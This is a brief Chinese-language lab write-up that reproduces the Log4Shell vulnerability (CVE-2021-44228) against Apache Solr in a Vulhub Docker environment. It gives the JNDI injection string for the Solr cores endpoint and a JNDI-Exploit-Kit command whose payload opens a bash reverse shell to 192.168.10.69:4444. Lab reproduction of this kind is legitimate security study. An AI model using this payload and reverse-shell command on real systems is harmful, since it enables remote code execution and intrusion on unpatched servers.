log4jshell CVE-2021-44228 复现
漏洞介绍
Log4j 是 Apache 提供的一个非常流行的 Java 日志框架。漏洞编号 CVE‑2021‑44228,就被称作 “Log4Shell”,该漏洞存在于 Log4j 2 版本(从 2.0‑beta9 到 2.14.1)中,因为其日志处理机制中对 JNDI(Java 命名与目录接口)查找没有做限制或验证。攻击者只要向日志字段输入恶意 JNDI 字符串(例如 ${jndi:ldap://攻击者IP/对象}),Log4j 就会去远端服务器加载 Java 对象,从而导致 远程代码执行(RCE)
复现
通过Vulhub快速搭建环境
D:\vulhub\log4j\CVE-2021-44228
docker compose up -d
进入页面,发现Apache Solr
POST参数位置存在漏洞
/solr/admin/cores?action=${jndi:ldap://xxx}
RCE
我这里使用的java环境为java11
使用JNDI-Exploit-Kit进行利用
https://github.com/pimps/JNDI-Exploit-Kit
也可以使用ysoserial生成java反序列化载荷进行利用
https://github.com/pimps/ysoserial-modified
java -jar JNDI-Exploit-Kit-1.0-SNAPSHOT-all.jar -C 'bash -i >& /dev/tcp/192.168.10.69/4444 0>&1' -L 192.168.10.69:1234
成功得到shell